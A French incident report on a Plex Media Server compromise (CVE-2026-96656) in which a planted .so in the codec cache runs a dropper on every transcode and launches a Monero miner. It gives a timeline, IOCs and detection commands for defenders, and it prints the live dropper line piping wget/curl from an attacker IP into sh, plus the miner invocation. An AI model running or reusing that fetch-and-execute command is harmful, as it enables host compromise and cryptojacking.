
Rapport d'incident : un .so non signé dans le cache de codecs de Plex Media Server exécute un dropper à chaque transcodage (CVE-2026-96656) — IOCs, STIX, YARA
.so non signé planté dans le cache de codecs de Plex Media Server exécute un mineur de Monero à chaque transcodageDate de l'incident : 2026-10-17 → 2026-10-18 (UTC+02:00)
Vulnérabilité : CVE-2026-96656 (CVSS 4.0 : 8.6, attribuée par la CISA) — corrigée dans Plex Media Server 1.43.3.10861
Affecté : Plex Media Server 1.43.2.10687 (Linux, conteneur officiel linuxserver/plex)
Statut : maîtrisé ; reconstruction de l'hôte non nécessaire (aucune persistance sur disque en dehors du cache de codecs)
Un attaquant ayant accès au serveur Plex a déposé un objet partagé non signé nommé
zz45fbb275.so dans le répertoire de codecs de l'application — un répertoire que Plex peuple
lui-même et transmet à chaque transcodeur via FFMPEG_EXTERNAL_LIBS. L'objet n'exporte
rien et ne déclare aucune dépendance ; toute sa charge utile est un unique constructeur
.init_array, il s'exécute donc dès que le transcodeur le dlopen().
Chaque transcodage — un client qui appuie sur lecture, ou les tâches de vignettes/analyse de la bibliothèque — réexécutait donc :
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
qui a téléchargé un mineur RandomX dérivé de xmrig (x12345) et l'a lancé contre
ota.proxystream.st:3333 avec --rig-id plexdocker. Il n'y avait aucune tâche cron, aucune unité
systemd, aucune modification de fichier rc, et aucun binaire modifié : le cache de codecs était le mécanisme
de persistance. Tuer le mineur seul réinfectait l'hôte à la lecture suivante.
| Heure | Événement |
|---|---|
| 17 oct. 07:50 | Première session WAN depuis 45.194.92.222 ; les requêtes s'authentifient en tant qu'invité, puis enregistrent un lecteur Companion et sollicitent /player/* et les points de terminaison de l'agent |
| 17 oct. 17:20 | zz45fbb275.so créé dans …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ (le mtime du répertoire change ; aucun autre fichier n'apparaît) |
| 17 oct. 17:23 | /tmp/x12345 écrit (8 350 992 octets) |
| 17 oct. 17:40 | Mineur en cours d'exécution : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, ~127 % CPU |
| 18 oct. 10:48 | Deuxième chaîne de dropper déclenchée par un transcode ultérieur — la charge utile se réexécute à la demande |
| 18 oct. 11:14 | Détection : processus de minage trouvé avec un PPid pointant vers le PID 1 du conteneur |
| 18 oct. 11:20–11:35 | Confinement : .so supprimé, Plex mis à jour vers 1.43.4, accès WAN au port 32400 bloqué |
Le serveur était joignable depuis Internet (mappage de port UPnP de Plex lui-même). Les journaux Plex
montrent la source 45.194.92.222 s'authentifiant en tant qu'invité et émettant des appels d'agent à
la minute exacte où le .so est apparu ; une seconde adresse, 91.92.40.202, apparaît également avec
une authentification invitée.
La description publique de CVE-2026-96656 correspond exactement à cet artefact :
Plex Media Server antérieur à 1.43.3.10861 permet à un utilisateur administrateur d'écrire des fichiers arbitraires qui peuvent être exécutés au chargement. La préférence
TranscoderH264Optionsest ajoutée verbatim à la chaîne d'options de x264 à chaque transcode. Au démarrage, tous les fichiers .so sont exécutés sans vérification de signature, de bit d'exécution ou de symbole.
Deux conséquences qu'il vaut la peine d'énoncer clairement :
PR:H). Les requêtes authentifiées en tant qu'invité ci-dessus
n'expliquent pas à elles seules l'écriture du fichier, le jeton administrateur du serveur doit donc être considéré
comme compromis, quelle que soit la manière dont la requête a été effectuée..so du répertoire
de codecs, c'est pourquoi une bibliothèque inoffensive dotée d'un seul constructeur constitue une charge utile
complète.Nous n'avons pas capturé la requête spécifique qui a écrit le fichier — le dépôt est attesté
par les horodatages du système de fichiers et la chaîne d'exécution, non par une capture de paquets. La
préférence TranscoderH264Options sur l'hôte affecté a été trouvée vide par la suite,
la valeur utilisée pour écrire le fichier a donc été soit réinitialisée, soit écrasée ; c'est le seul
élément de la chaîne que nous ne pouvons pas reconstituer après coup.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
Comme le constructeur s'exécute au chargement, l'objet n'a pas besoin d'implémenter une quelconque API de codec. Il doit simplement se trouver dans un répertoire depuis lequel le transcodeur charge des bibliothèques.
Détails de placement qu'il vaut la peine de détecter :
lib*.so ; tous les fichiers légitimes du répertoire des codecs le sont (libh264_decoder.so, libhevc_decoder.so, …). zz a probablement été choisi pour être trié en dernier.Codecs/<set-id>-linux-x86_64/) n'est normalement écrit que par le téléchargement de codecs de Plex lui-même, dont tous les fichiers portent le préfixe lib.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder est le seul autre objet non préfixé par lib qui appartient à cette arborescence.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker est une étiquette d'opérateur fixe — utile pour les recherches de pivot dans les données de flux et la télémétrie du pool. Le processus a été trouvé dans l'état T (arrêté) avec environ 2,3 Go de RSS : l'état arrêté n'est pas inoffensif, il reprend et continue de hacher.
PPid pointait vers le PID 1 du conteneur (s6-svscan) car le véritable parent avait déjà quitté — réaffectation de parent, pas supervision. Le véritable lanceur n'était visible qu'à travers la socketpair partagée : ss -xp listait la chaîne sh/wget, Plex Transcoder, le service de tuner et le serveur Plex sur la même paire de sockets, et en parcourant les enfants du Plex Transcoder actif, on voyait le dropper comme son enfant. Le déclencheur était le transcodage lui-même.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
Tout résultat qui n'est pas EasyAudioEncoder est suspect. Signalez également un répertoire de codec dont le mtime a changé sans qu'un lib*.so correspondant ait été ajouté.
Vérifiez la préférence exploitée par CVE-2026-96656 pour l'écriture arbitraire de fichiers :
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
Une valeur non vide mérite d'être examinée — elle est ajoutée telle quelle à la chaîne d'options de x264 à chaque transcodage, et tout ce qui ressemble à un nom de fichier qu'elle contient finit par être écrit sur le disque. Sur l'hôte concerné, elle était vide après l'incident, donc l'absence n'est pas une preuve d'absence : corrélez avec le mtime du fichier.